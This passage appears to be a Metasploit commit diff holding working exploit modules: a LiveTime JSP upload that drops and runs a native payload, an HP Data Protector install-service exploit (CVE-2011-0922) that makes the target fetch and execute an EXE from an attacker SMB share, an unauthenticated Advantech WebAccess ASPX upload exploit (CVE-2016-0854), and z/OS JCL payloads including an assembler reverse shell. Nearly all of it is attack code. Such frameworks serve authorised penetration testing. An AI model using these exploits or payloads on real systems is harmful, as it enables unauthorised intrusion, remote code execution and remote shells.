fail_with(Failure::Unknown, "#{peer} - Failed to upload payload...")
else
return jsp_name
end
end
def create_jsp
opts = {:arch => @my_target.arch, :platform => @my_target.platform}
payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch)
exe = generate_payload_exe(opts)
base64_exe = Rex::Text.encode_base64(exe)
native_payload_name = rand_text_alpha(rand(6)+3)
ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'
var_raw = Rex::Text.rand_text_alpha(rand(8) + 3)
var_ostream = Rex::Text.rand_text_alpha(rand(8) + 3)
var_buf = Rex::Text.rand_text_alpha(rand(8) + 3)
var_decoder = Rex::Text.rand_text_alpha(rand(8) + 3)
var_tmp = Rex::Text.rand_text_alpha(rand(8) + 3)
var_path = Rex::Text.rand_text_alpha(rand(8) + 3)
var_proc2 = Rex::Text.rand_text_alpha(rand(8) + 3)
if @my_target['Platform'] == 'linux'
var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
chmod = %Q|
Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
Thread.sleep(200);
|
var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
cleanup = %Q|
Thread.sleep(200);
Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
|
else
chmod = ''
cleanup = ''
end
jsp = %Q|
<%@page import="java.io.*"%>
<%@page import="sun.misc.BASE64Decoder"%>
<%
try {
String #{var_buf} = "#{base64_exe}";
BASE64Decoder #{var_decoder} = new BASE64Decoder();
byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
String #{var_path} = #{var_tmp}.getAbsolutePath();
BufferedOutputStream #{var_ostream} =
new BufferedOutputStream(new FileOutputStream(#{var_path}));
#{var_ostream}.write(#{var_raw});
#{var_ostream}.close();
#{chmod}
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
#{cleanup}
} catch (Exception e) {
}
%>
|
jsp = jsp.gsub(/\n/, '')
jsp = jsp.gsub(/\t/, '')
jsp = jsp.gsub(/\x0d\x0a/, "")
jsp = jsp.gsub(/\x0a/, "")
return jsp
end
def exploit
version = get_version
# 1: get the cookies, the login_url and the password_form and username form names (they varies between versions)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('/LiveTime/WebObjects/LiveTime.woa'),
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
}
})
if res && res.code == 200 && res.body.to_s =~ /class\=\"login\-form\"(.*)action\=\"([\w\/\.]+)(\;jsessionid\=)*/
login_url = $2
@cookies = res.get_cookies
if res.body.to_s =~ /type\=\"password\" name\=\"([\w\.]+)\" \/\>/
password_form = $1
else
# we shouldn't hit this condition at all, this is default for v7+
password_form = 'password'
end
if res.body.to_s =~ /type\=\"text\" name\=\"([\w\.]+)\" \/\>/
username_form = $1
else
# we shouldn't hit this condition at all, this is default for v7+
username_form = 'username'
end
else
fail_with(Failure::NoAccess, "#{peer} - Failed to get the login URL.")
end
# 2: authenticate and get the import_url
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(login_url),
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
},
'cookie' => @cookies,
'vars_post' => {
username_form => datastore['USERNAME'],
password_form => datastore['PASSWORD'],
'ButtonLogin' => 'Login'
}
})
if res && res.code == 200 &&
(res.body.to_s =~ /id\=\"clientListForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above
res.body.to_s =~ /\<form method\=\"post\" action\=\"([\w\/\.]+)\"\>/) # v6.5
import_url = $1
else
# hmm either the password is wrong or someone else is using "our" account.. .
# let's try to boot him out
if res && res.code == 200 && res.body.to_s =~ /class\=\"login\-form\"(.*)action\=\"([\w\/\.]+)(\;jsessionid\=)*/ &&
res.body.to_s =~ /This account is in use on another system/
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(login_url),
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
},
'cookie' => @cookies,
'vars_post' => {
username_form => datastore['USERNAME'],
password_form => datastore['PASSWORD'],
'ButtonLoginOverride' => 'Login'
}
})
if res && res.code == 200 &&
(res.body.to_s =~ /id\=\"clientListForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above
res.body.to_s =~ /\<form method\=\"post\" action\=\"([\w\/\.]+)\"\>/) # v6.5
import_url = $1
else
fail_with(Failure::Unknown, "#{peer} - Failed to get the import URL.")
end
else
fail_with(Failure::Unknown, "#{peer} - Failed to get the import URL.")
end
end
# 3: get the upload_url
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(import_url),
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
},
'cookie' => @cookies,
'vars_post' => {
'ButtonImport' => 'Import'
}
})
if res && res.code == 200 &&
(res.body.to_s =~ /id\=\"clientImportUploadForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above
res.body.to_s =~ /\<form method\=\"post\" enctype\=\"multipart\/form-data\" action\=\"([\w\/\.]+)\"\>/) # v6.5
@upload_url = $1
else
fail_with(Failure::Unknown, "#{peer} - Failed to get the upload URL.")
end
if res.body.to_s =~ /\<input type\=\"file\" name\=\"([0-9\.]+)\" \/\>/
@upload_form = $1
else
# go with the default for 7.1.0, might not work with other versions...
@upload_form = "0.53.19.0.2.7.0.3.0.0.1.1.1.4.0.0.23"
end
# 4: target selection
@my_target = nil
# pick_target returns the traversal_path and sets @my_target
traversal_path = pick_target
if @my_target.nil?
fail_with(Failure::NoTarget, "#{peer} - Unable to select a target, we must bail.")
else
print_status("#{peer} - Selected target #{@my_target.name} with traversal path #{traversal_path}")
end
# When using auto targeting, MSF selects the Windows meterpreter as the default payload.
# Fail if this is the case and ask the user to select an appropriate payload.
if @my_target['Platform'] == 'linux' && payload_instance.name =~ /Windows/
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
end
# 5: generate the JSP with the payload
jsp = create_jsp
print_status("#{peer} - Uploading payload...")
jsp_name = upload_jsp(traversal_path, jsp)
if traversal_path.include? '/srv/tomcat6/webapps/'
register_files_for_cleanup('/srv/tomcat6/webapps/LiveTime/' + jsp_name)
else
register_files_for_cleanup('../webapps/LiveTime/' + jsp_name)
end
# 6: pwn it!
print_status("#{peer} - Requesting #{jsp_name}")
send_request_raw({'uri' => normalize_uri('LiveTime', jsp_name)})
handler
end
end

View File

@ -102,7 +102,7 @@ class MetasploitModule < Msf::Exploit::Remote
print_status "#{peer} - #{language} could not be loaded" print_status "#{peer} - #{language} could not be loaded"
return false return false
else else
print_error "#{peer} - error occurred loading #{language}" vprint_error "#{peer} - error occurred loading #{language}"
return false return false
end end
end end
@ -116,7 +116,7 @@ class MetasploitModule < Msf::Exploit::Remote
print_error "#{peer} - Connection error" print_error "#{peer} - Connection error"
return false return false
when :sql_error when :sql_error
print_error "#{peer} - Exploit failed" print_warning "#{peer} - Unable to execute query: #{query}"
return false return false
when :complete when :complete
print_good "#{peer} - Exploit successful" print_good "#{peer} - Exploit successful"

View File

@ -25,10 +25,6 @@ class MetasploitModule < Msf::Exploit::Remote
[ 'EDB', '39008' ], [ 'EDB', '39008' ],
], ],
'Privileged' => true, 'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' => 'Payload' =>
{ {
'Space' => 390, 'Space' => 390,

View File

@ -0,0 +1,160 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::SMB::Server::Share
include Msf::Exploit::EXE
def initialize(info={})
super(update_info(info,
'Name' => 'HP Data Protector 6.10/6.11/6.20 Install Service',
'Description' => %q{
This module exploits HP Data Protector Omniinet process on Windows only.
This exploit invokes the install service function which allows an attacker to create a
custom payload in the format of an executable.
To ensure this works, the SMB server created in MSF must have a share called Omniback
which has a subfolder i386, i.e. \\\\192.168.1.1\\Omniback\\i386\\
},
'Author' => [
'Ben Turner',
],
'References' =>
[
['CVE', '2011-0922'],
['URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02781143']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 2048,
'DisableNops' => true
},
'Privileged' => true,
'Platform' => 'win',
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[
[ 'HP Data Protector 6.10/6.11/6.20 / Windows', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 02 2011'))
register_options(
[
Opt::RPORT(5555),
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15])
], self.class)
deregister_options('FOLDER_NAME')
deregister_options('FILE_CONTENTS')
deregister_options('SHARE')
deregister_options('FILE_NAME')
end
def peer
"#{rhost}:#{rport}"
end
def check
fingerprint = get_fingerprint
if fingerprint.nil?
vprint_status('Unable to fingerprint because no response.')
return Exploit::CheckCode::Unknown
end
vprint_status("#{peer} - #{fingerprint}")
if fingerprint =~ /HP Data Protector A\.06\.(\d+)/i
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
Exploit::CheckCode::Detected
end
def get_fingerprint
ommni = connect
ommni.put(rand_text_alpha_upper(64))
resp = ommni.get_once(-1)
disconnect
return nil if resp.nil?
# Delete unicode last null
Rex::Text.to_ascii(resp).chop.chomp
end
def primer
self.file_contents = generate_payload_exe
self.file_name = "installservice.exe"
self.share = "Omniback\\i386"
print_status("File available on #{unc}...")
vprint_status("#{peer} - Trying to execute remote EXE...")
lhost = "#{datastore['SRVHOST']}"
lhostfull = ""
lhost.each_char do |character|
lhostfull = lhostfull << "\x00" << character
end
packet = "\x00\x00\x01\xbe\xff\xfe\x32\x00\x00\x00\x20"
packet << lhostfull
packet << "\x00\x00\x00\x20\x00\x30\x00"
packet << "\x00\x00\x20\x00\x53\x00\x59\x00\x53\x00\x54\x00\x45\x00\x4d\x00"
packet << "\x00\x00\x20\x00\x4e\x00\x54\x00\x20\x00\x41\x00\x55\x00\x54\x00"
packet << "\x48\x00\x4f\x00\x52\x00\x49\x00\x54\x00\x59\x00\x00\x00\x20\x00"
packet << "\x43\x00\x00\x00\x20\x00\x32\x00\x36\x00\x00\x00\x20\x00\x5c\x00"
packet << "\x5c"
packet << lhostfull
packet << "\x00\x5c\x00\x4f\x00\x6d\x00\x6e\x00\x69\x00\x62\x00"
packet << "\x61\x00\x63\x00\x6b\x00\x5c\x00\x69\x00\x33\x00\x38\x00\x36\x00"
packet << "\x5c\x00\x69\x00\x6e\x00\x73\x00\x74\x00\x61\x00\x6c\x00\x6c\x00"
packet << "\x73\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x2e\x00"
packet << "\x65\x00\x78\x00\x65\x00\x20\x00\x2d\x00\x73\x00\x6f\x00\x75\x00"
packet << "\x72\x00\x63\x00\x65\x00\x20\x4f\x00\x6d\x00\x6e\x00\x69\x00\x62"
packet << "\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x5c\x00\x5c"
packet << lhostfull
packet << "\x5c\x00\x5c\x00\x4f\x00"
packet << "\x6d\x00\x6e\x00\x69\x00\x62\x00\x61\x00\x63\x00\x6b\x00\x5c\x00"
packet << "\x69\x00\x33\x00\x38\x00\x36\x00\x5c\x00\x69\x00\x6e\x00\x73\x00"
packet << "\x74\x00\x61\x00\x6c\x00\x6c\x00\x73\x00\x65\x00\x72\x00\x76\x00"
packet << "\x69\x00\x63\x00\x65\x00\x2e\x00\x65\x00\x78\x00\x65\x00\x20\x00"
packet << "\x2d\x00\x73\x00\x6f\x00\x75\x00\x72\x00\x63\x00\x65\x00\x20\x00"
packet << "\x5c\x00\x5c"
packet << lhostfull
packet << "\x00\x5c\x00\x4f\x00\x6d\x00\x6e\x00\x69\x00\x62\x00\x61\x00\x63"
packet << "\x00\x6b\x00\x20\x00\x00\x00\x00\x00\x00\x00\x02\x54"
packet << "\xff\xfe\x32\x00\x36\x00\x00\x00\x20\x00\x5b\x00\x30\x00\x5d\x00"
packet << "\x41\x00\x44\x00\x44\x00\x2f\x00\x55\x00\x50\x00\x47\x00\x52\x00"
packet << "\x41\x00\x44\x00\x45\x00\x0a\x00\x5c\x00\x5c"
packet << lhostfull
packet << "\x00\x5c\x00\x4f\x00\x6d\x00\x6e\x00\x69\x00\x62\x00\x61\x00\x63"
packet << "\x00\x6b\x00\x5c\x00\x69\x00\x33\x00\x38\x00\x36\x00"
connect
sock.put(packet)
disconnect
end
def exploit
begin
Timeout.timeout(datastore['SMB_DELAY']) {super}
rescue Timeout::Error
# Stop SMB Server
end
end
end

View File

@ -0,0 +1,131 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => "Advantech WebAccess Dashboard Viewer Arbitrary File Upload",
'Description' => %q{
This module exploits an arbitrary file upload vulnerability found in Advantech WebAccess 8.0.
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations
of Advantech WebAccess. Authentication is not required to exploit this vulnerability.
The specific flaw exists within the WebAccess Dashboard Viewer. Insufficient validation within
the uploadImageCommon function in the UploadAjaxAction script allows unauthenticated callers to
upload arbitrary code (instead of an image) to the server, which will then be executed under the
high-privilege context of the IIS AppPool.
},
'License' => MSF_LICENSE,
'Author' => [
'rgod', # Vulnerability discovery
'Zhou Yu <504137480[at]qq.com>' # MSF module
],
'References' => [
[ 'CVE', '2016-0854' ],
[ 'ZDI', '16-128' ],
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-014-01']
],
'Platform' => 'win',
'Targets' => [
['Advantech WebAccess 8.0', {}]
],
'Privileged' => false,
'DisclosureDate' => "Feb 5 2016",
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [true, 'The base path of Advantech WebAccess 8.0', '/'])
], self.class)
end
def version_match(data)
# Software Build : 8.0-2015.08.15
fingerprint = data.match(/Software\sBuild\s:\s(?<version>\d{1,2}\.\d{1,2})-(?<year>\d{4})\.(?<month>\d{1,2})\.(?<day>\d{1,2})/)
fingerprint['version'] unless fingerprint.nil?
end
def vuln_version?
res = send_request_cgi(
'method' => 'GET',
'uri' => target_uri.to_s
)
if res.redirect?
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(res.redirection)
)
end
ver = res && res.body ? version_match(res.body) : nil
true ? Gem::Version.new(ver) == Gem::Version.new('8.0') : false
end
def check
if vuln_version?
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end
def upload_file?(filename, file)
uri = normalize_uri(target_uri, 'WADashboard', 'ajax', 'UploadAjaxAction.aspx')
data = Rex::MIME::Message.new
data.add_part('uploadFile', nil, nil, 'form-data; name="actionName"')
data.add_part(file, nil, nil, "form-data; name=\"file\"; filename=\"#{filename}\"")
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'cookie' => "waUserName=admin",
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
)
true ? res && res.code == 200 && res.body.include?("{\"resStatus\":\"0\",\"resString\":\"\/#{filename}\"}") : false
end
def exec_file?(filename)
uri = normalize_uri(target_uri)
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
uri = normalize_uri(target_uri, 'WADashboard', filename)
res = send_request_cgi(
'method' => 'GET',
'uri' => uri,
'cookie' => res.get_cookies
)
true ? res && res.code == 200 : false
end
def exploit
unless vuln_version?
print_status("#{peer} - Cannot reliably check exploitability.")
return
end
filename = "#{Rex::Text.rand_text_alpha(5)}.aspx"
filedata = Msf::Util::EXE.to_exe_aspx(generate_payload_exe)
print_status("#{peer} - Uploading malicious file...")
return unless upload_file?(filename, filedata)
print_status("#{peer} - Executing #{filename}...")
return unless exec_file?(filename)
end
end

View File

@ -7,7 +7,6 @@
# for more information on IEFBR14 # for more information on IEFBR14
## ##
require 'msf/core' require 'msf/core'
require 'msf/core/handler/find_shell' require 'msf/core/handler/find_shell'
require 'msf/base/sessions/mainframe_shell' require 'msf/base/sessions/mainframe_shell'
@ -15,50 +14,49 @@ require 'msf/base/sessions/command_shell_options'
module MetasploitModule module MetasploitModule
CachedSize = :dynamic
include Msf::Payload::Single include Msf::Payload::Single
include Msf::Payload::Mainframe include Msf::Payload::Mainframe
include Msf::Sessions::CommandShellOptions include Msf::Sessions::CommandShellOptions
def initialize(info = {}) def initialize(info = {})
super(merge_info(info, super(merge_info(info,
'Name' => 'Generic JCL Test for Mainframe Exploits', 'Name' => 'Generic JCL Test for Mainframe Exploits',
'Description' => 'Provide JCL which can be used to submit 'Description' => 'Provide JCL which can be used to submit
a job to JES2 on z/OS which will exit and return 0. This a job to JES2 on z/OS which will exit and return 0. This
can be used as a template for other JCL based payloads', can be used as a template for other JCL based payloads',
'Author' => 'Bigendian Smalls', 'Author' => 'Bigendian Smalls',
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Platform' => 'mainframe', 'Platform' => 'mainframe',
'Arch' => ARCH_CMD, 'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::None, 'Handler' => Msf::Handler::None,
'Session' => Msf::Sessions::MainframeShell, 'Session' => Msf::Sessions::MainframeShell,
'PayloadType' => 'cmd', 'PayloadType' => 'cmd',
'RequiredCmd' => 'jcl', 'RequiredCmd' => 'jcl',
'Payload' => 'Payload' =>
{ {
'Offsets' => { }, 'Offsets' => {},
'Payload' => '' 'Payload' => ''
} }
)) )
)
end end
## ##
# Construct the paload # Construct the paload
## ##
def generate def generate
return super + command_string super + command_string
end end
## ##
# Build the command string for JCL submission # Build the command string for JCL submission
## ##
def command_string def command_string
return "//DUMMY JOB (MFUSER),'dummy job',\n" + "//DUMMY JOB (MFUSER),'dummy job',\n" \
"// NOTIFY=&SYSUID,\n" + "// NOTIFY=&SYSUID,\n" \
"// MSGCLASS=H,\n" + "// MSGCLASS=H,\n" \
"// MSGLEVEL=(1,1),\n" + "// MSGLEVEL=(1,1),\n" \
"// REGION=0M\n" + "// REGION=0M\n" \
"// EXEC PGM=IEFBR14\n" "// EXEC PGM=IEFBR14\n"
end end
end end

View File

@ -8,7 +8,6 @@
# on the system as JCL to JES2 # on the system as JCL to JES2
## ##
require 'msf/core' require 'msf/core'
require 'msf/core/handler/reverse_tcp' require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/mainframe_shell' require 'msf/base/sessions/mainframe_shell'
@ -16,7 +15,7 @@ require 'msf/base/sessions/command_shell_options'
module MetasploitModule module MetasploitModule
CachedSize = :dynamic CachedSize = 9001
include Msf::Payload::Single include Msf::Payload::Single
include Msf::Payload::Mainframe include Msf::Payload::Mainframe
@ -24,227 +23,228 @@ module MetasploitModule
def initialize(info = {}) def initialize(info = {})
super(merge_info(info, super(merge_info(info,
'Name' => 'Z/OS (MVS) Command Shell, Reverse TCP', 'Name' => 'Z/OS (MVS) Command Shell, Reverse TCP',
'Description' => 'Provide JCL which creates a reverse shell 'Description' => 'Provide JCL which creates a reverse shell
This implmentation does not include ebcdic character translation, This implmentation does not include ebcdic character translation,
so a client with translation capabilities is required. MSF handles so a client with translation capabilities is required. MSF handles
this automatically.', this automatically.',
'Author' => 'Bigendian Smalls', 'Author' => 'Bigendian Smalls',
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Platform' => 'mainframe', 'Platform' => 'mainframe',
'Arch' => ARCH_CMD, 'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcp, 'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::MainframeShell, 'Session' => Msf::Sessions::MainframeShell,
'PayloadType' => 'cmd', 'PayloadType' => 'cmd',
'RequiredCmd' => 'jcl', 'RequiredCmd' => 'jcl',
'Payload' => 'Payload' =>
{ {
'Offsets' => 'Offsets' =>
{ {
'LHOST' => [ 0x1b29, 'custom' ], 'LHOST' => [ 0x1b29, 'custom' ],
'LPORT' => [ 0x1b25, 'custom' ], 'LPORT' => [ 0x1b25, 'custom' ]
}, },
'Payload' => 'Payload' =>
"//REVSHL JOB (USER),'Reverse shell jcl',\n" + "//REVSHL JOB (USER),'Reverse shell jcl',\n" \
"// NOTIFY=&SYSUID,\n" + "// NOTIFY=&SYSUID,\n" \
"// MSGCLASS=H,\n" + "// MSGCLASS=H,\n" \
"// MSGLEVEL=(1,1),\n" + "// MSGLEVEL=(1,1),\n" \
"// REGION=0M\n" + "// REGION=0M\n" \
"//**************************************/\n" + "//**************************************/\n" \
"//* Generates reverse shell */\n" + "//* Generates reverse shell */\n" \
"//**************************************/\n" + "//**************************************/\n" \
"//*\n" + "//*\n" \
"//STEP1 EXEC PROC=ASMACLG\n" + "//STEP1 EXEC PROC=ASMACLG\n" \
"//SYSIN DD *,DLM=ZZ\n" + "//SYSIN DD *,DLM=ZZ\n" \
" TITLE 'z/os Reverse Shell'\n" + " TITLE 'z/os Reverse Shell'\n" \
"NEWREV CSECT\n" + "NEWREV CSECT\n" \
"NEWREV AMODE 31\n" + "NEWREV AMODE 31\n" \
"NEWREV RMODE 31\n" + "NEWREV RMODE 31\n" \
"***********************************************************************\n" + "***********************************************************************\n" \
"* SETUP registers and save areas *\n" + "* SETUP registers and save areas *\n" \
"***********************************************************************\n" + "***********************************************************************\n" \
"MAIN LR 7,15 # R7 is base register\n" + "MAIN LR 7,15 # R7 is base register\n" \
" NILH 7,X'1FFF' # ensure local address\n" + " NILH 7,X'1FFF' # ensure local address\n" \
" USING MAIN,0 # R8 for addressability\n" + " USING MAIN,0 # R8 for addressability\n" \
" DS 0H # halfword boundaries\n" + " DS 0H # halfword boundaries\n" \
" LA 1,ZEROES(7) # address byond which should be all 0s\n" + " LA 1,ZEROES(7) # address byond which should be all 0s\n" \
" XC 0(204,1),0(1) # clear zero area\n" + " XC 0(204,1),0(1) # clear zero area\n" \
" LA 13,SAVEAREA(7) # address of save area\n" + " LA 13,SAVEAREA(7) # address of save area\n" \
" LHI 8,8 # R8 has static 8\n" + " LHI 8,8 # R8 has static 8\n" \
" LHI 9,1 # R9 has static 1\n" + " LHI 9,1 # R9 has static 1\n" \
" LHI 10,2 # R10 has static 2\n" + " LHI 10,2 # R10 has static 2\n" \
"\n" + "\n" \
"***********************************************************************\n" + "***********************************************************************\n" \
"* BPX1SOC set up socket *\n" + "* BPX1SOC set up socket *\n" \
"***********************************************************************\n" + "***********************************************************************\n" \
"BSOC LA 0,@@F1(7) # USS callable svcs socket\n" + "BSOC LA 0,@@F1(7) # USS callable svcs socket\n" \
" LA 3,8 # n parms\n" + " LA 3,8 # n parms\n" \
" LA 5,DOM(7) # Relative addr of First parm\n" + " LA 5,DOM(7) # Relative addr of First parm\n" \
" ST 10,DOM(7) # store a 2 for AF_INET\n" + " ST 10,DOM(7) # store a 2 for AF_INET\n" \
" ST 9,TYPE(7) # store a 1 for sock_stream\n" + " ST 9,TYPE(7) # store a 1 for sock_stream\n" \
" ST 9,DIM(7) # store a 1 for dim_sock\n" + " ST 9,DIM(7) # store a 1 for dim_sock\n" \
" LA 15,CLORUN(7) # address of generic load & run\n" + " LA 15,CLORUN(7) # address of generic load & run\n" \
" BASR 14,15 # Branch to load & run\n" + " BASR 14,15 # Branch to load & run\n" \
"\n" + "\n" \
"***********************************************************************\n" + "***********************************************************************\n" \
"* BPX1CON (connect) connect to rmt host *\n" + "* BPX1CON (connect) connect to rmt host *\n" \
"***********************************************************************\n" + "***********************************************************************\n" \
"BCON L 5,CLIFD(7) # address of client file descriptor\n" + "BCON L 5,CLIFD(7) # address of client file descriptor\n" \
" ST 5,CLIFD2(7) # store for connection call\n" + " ST 5,CLIFD2(7) # store for connection call\n" \
"*** main processing **\n" + "*** main processing **\n" \
" LA 1,SSTR(7) # packed socket string\n" + " LA 1,SSTR(7) # packed socket string\n" \
" LA 5,CLIFD2(7) # dest for our sock str\n" + " LA 5,CLIFD2(7) # dest for our sock str\n" \
" MVC 7(9,5),0(1) # mv packed skt str to parm array\n" + " MVC 7(9,5),0(1) # mv packed skt str to parm array\n" \
" LA 0,@@F2(7) # USS callable svcs connect\n" + " LA 0,@@F2(7) # USS callable svcs connect\n" \
" LA 3,6 # n parms for func call\n" + " LA 3,6 # n parms for func call\n" \
" LA 5,CLIFD2(7) # src parm list addr\n" + " LA 5,CLIFD2(7) # src parm list addr\n" \
" LA 15,CLORUN(7) # address of generic load & run\n" + " LA 15,CLORUN(7) # address of generic load & run\n" \
" BASR 14,15 # Branch to load & run\n" + " BASR 14,15 # Branch to load & run\n" \
"\n" + "\n" \
"*************************************************\n" + "*************************************************\n" \
"* Preparte the child pid we'll spawn *\n" + "* Preparte the child pid we'll spawn *\n" \
"* 0) Dupe all 3 file desc of CLIFD *\n" + "* 0) Dupe all 3 file desc of CLIFD *\n" \
"* 1) dupe parent read fd to std input *\n" + "* 1) dupe parent read fd to std input *\n" \
"*************************************************\n" + "*************************************************\n" \
" LHI 11,2 # Loop Counter R11=2\n" + " LHI 11,2 # Loop Counter R11=2\n" \
"@LOOP1 BRC 15,LFCNTL # call FCNTL for each FD(in,out,err)\n" + "@LOOP1 BRC 15,LFCNTL # call FCNTL for each FD(in,out,err)\n" \
"@RET1 AHI 11,-1 # Decrement R11\n" + "@RET1 AHI 11,-1 # Decrement R11\n" \
" CIJ 11,-1,7,@LOOP1 # if R11 >= 0, loop\n" + " CIJ 11,-1,7,@LOOP1 # if R11 >= 0, loop\n" \
"\n" + "\n" \
"***********************************************************************\n" + "***********************************************************************\n" \
"* BPX1EXC (exec) execute /bin/sh *\n" + "* BPX1EXC (exec) execute /bin/sh *\n" \
"***********************************************************************\n" + "***********************************************************************\n" \
"LEXEC LA 1,EXCPRM1(7) # top of arg list\n" + "LEXEC LA 1,EXCPRM1(7) # top of arg list\n" \
"******************************************\n" + "******************************************\n" \
"**** load array of addr and constants ***\n" + "**** load array of addr and constants ***\n" \
"******************************************\n" + "******************************************\n" \
" ST 10,EXARG1L(7) # arg 1 len is 2\n" + " ST 10,EXARG1L(7) # arg 1 len is 2\n" \
" LA 2,EXARG1L(7) # addr of len of arg1\n" + " LA 2,EXARG1L(7) # addr of len of arg1\n" \
" ST 2,16(0,1) # arg4 Addr of Arg Len Addrs\n" + " ST 2,16(0,1) # arg4 Addr of Arg Len Addrs\n" \
" LA 2,EXARG1(7) # addr of arg1\n" + " LA 2,EXARG1(7) # addr of arg1\n" \
" ST 2,20(0,1) # arg5 Addr of Arg Addrs\n" + " ST 2,20(0,1) # arg5 Addr of Arg Addrs\n" \
" ST 9,EXARGC(7) # store 1 in ARG Count\n" + " ST 9,EXARGC(7) # store 1 in ARG Count\n" \
"**************************************************************\n" + "**************************************************************\n" \
"*** call the exec function the normal way ********************\n" + "*** call the exec function the normal way ********************\n" \
"**************************************************************\n" + "**************************************************************\n" \
" LA 0,@@EX1(7) # USS callable svcs EXEC\n" + " LA 0,@@EX1(7) # USS callable svcs EXEC\n" \
" LA 3,13 # n parms\n" + " LA 3,13 # n parms\n" \
" LA 5,EXCPRM1(7) # src parm list addr\n" + " LA 5,EXCPRM1(7) # src parm list addr\n" \
" LA 15,CLORUN(7) # address of generic load & run\n" + " LA 15,CLORUN(7) # address of generic load & run\n" \
" BASR 14,15 # Branch to load & run\n" + " BASR 14,15 # Branch to load & run\n" \
"\n" + "\n" \
"***********************************************************************\n" + "***********************************************************************\n" \
"*** BPX1FCT (fnctl) Edit our file descriptor **************************\n" + "*** BPX1FCT (fnctl) Edit our file descriptor **************************\n" \
"***********************************************************************\n" + "***********************************************************************\n" \
"LFCNTL LA 0,@@FC1(7) # USS callable svcs FNCTL\n" + "LFCNTL LA 0,@@FC1(7) # USS callable svcs FNCTL\n" \
" ST 8,@ACT(7) # 8 is our dupe2 action\n" + " ST 8,@ACT(7) # 8 is our dupe2 action\n" \
" L 5,CLIFD(7) # client file descriptor\n" + " L 5,CLIFD(7) # client file descriptor\n" \
" ST 5,@FFD(7) # store as fnctl argument\n" + " ST 5,@FFD(7) # store as fnctl argument\n" \
" ST 11,@ARG(7) # fd to clone\n" + " ST 11,@ARG(7) # fd to clone\n" \
" LA 3,6 # n parms\n" + " LA 3,6 # n parms\n" \
" LA 5,@FFD(7) # src parm list addr\n" + " LA 5,@FFD(7) # src parm list addr\n" \
" LA 15,CLORUN(7) # address of generic load & run\n" + " LA 15,CLORUN(7) # address of generic load & run\n" \
" BASR 14,15 # Branch to load & run\n" + " BASR 14,15 # Branch to load & run\n" \
" BRC 15,@RET1 # Return to caller\n" + " BRC 15,@RET1 # Return to caller\n" \
"\n" + "\n" \
"***********************************************************************\n" + "***********************************************************************\n" \
"* LOAD and run R0=func name, R3=n parms *\n" + "* LOAD and run R0=func name, R3=n parms *\n" \
"* R5 = src parm list *\n" + "* R5 = src parm list *\n" \
"***********************************************************************\n" + "***********************************************************************\n" \
"CLORUN ST 14,8(,13) # store ret address\n" + "CLORUN ST 14,8(,13) # store ret address\n" \
" XR 1,1 # zero R1\n" + " XR 1,1 # zero R1\n" \
" SVC 8 # get func call addr for R0\n" + " SVC 8 # get func call addr for R0\n" \
" ST 0,12(13) # Store returned addr in our SA\n" + " ST 0,12(13) # Store returned addr in our SA\n" \
" L 15,12(13) # Load func addr into R15\n" + " L 15,12(13) # Load func addr into R15\n" \
